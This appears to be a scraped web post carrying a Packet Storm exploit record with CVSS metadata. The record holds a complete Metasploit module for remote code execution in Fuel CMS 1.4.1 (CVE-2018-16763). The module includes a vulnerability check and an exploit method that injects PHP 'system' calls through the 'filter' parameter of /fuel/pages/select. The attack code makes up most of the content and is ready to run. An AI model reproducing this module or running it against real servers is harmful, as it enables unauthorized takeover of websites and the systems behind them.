{“lastseen”:”2026-05-11T17:17:50″,”description”:”This Metasploit module targets a remote code execution vulnerability in Fuel CMS version 1.4.1. The issue stems from improper input sanitization in the filter parameter, which is passed into a dangerous PHP evaluation eval context, enabling code…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Fuel CMS 1.4.1 PHP Code Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:220739″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2018-16763″],”sourceData”:”==================================================================================================================================\\n | # Title : Fuel CMS 1.4.1 PHP Code Injection RCE Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.getfuelcms.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit module targets a Remote Code Execution (CVE-2018-16763) vulnerability in Fuel CMS version 1.4.1. \\n The issue stems from improper input sanitization in the filter parameter, which is passed into a dangerous PHP evaluation context (eval()), enabling code injection.\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Remote::HttpClient\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Fuel CMS 1.4.1 – Remote Code Execution (RCE)’,\\n ‘Description’ =\\u003e %q{\\n This mod exploits a PHP code injection vulnerability in Fuel CMS version 1.4.1.\\n The vulnerability arises because unfiltered input is passed to the eval() function, allowing remote system command execution.\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2018-16763’],\\n [‘URL’, ‘https:\/\/github.com\/0xmrsecurity\/Public_Poc\/tree\/main\/CVE-2018-16763’]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘Platform’ =\\u003e [‘linux’, ‘unix’],\\n ‘Arch’ =\\u003e [ARCH_CMD, ARCH_X86, ARCH_X64],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e \\”\\\\x22\\”\\n },\\n ‘Targets’ =\\u003e [\\n [‘Fuel CMS 1.4.1’, {}]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2018-09-17’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘Fuel CMS’, ‘\/’])\\n ]\\n )\\n end\\n \\n def check\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘fuel’, ‘pages’, ‘select’),\\n ‘vars_get’ =\\u003e {\\n ‘filter’ =\\u003e \\”‘+pi(print(2026*2))+’\\”\\n }\\n })\\n \\n return CheckCode::Vulnerable if res \\u0026\\u0026 res.body.include?(‘4052’)\\n CheckCode::Safe\\n end\\n \\n def exploit\\n print_status(\\”Payload being sent to the target…\\”)\\n \\n cmd = Rex::Text.uri_encode(payload.encoded)\\n \\n shell_payload = \\”‘+pi(print($a=’system’))+$a(‘#{cmd}’)+’\\”\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘fuel’, ‘pages’, ‘select’),\\n ‘vars_get’ =\\u003e {\\n ‘filter’ =\\u003e shell_payload\\n }\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n print_good(\\”The order was successfully sent.\\”)\\n else\\n print_error(\\”Connection failed or target is not infected.\\”)\\n end\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220739″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220739\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-11T17:17:50″,”description”:”This Metasploit module targets a remote code execution vulnerability in Fuel CMS version 1.4.1. The issue stems from improper input sanitization in the filter parameter,…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-53087","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n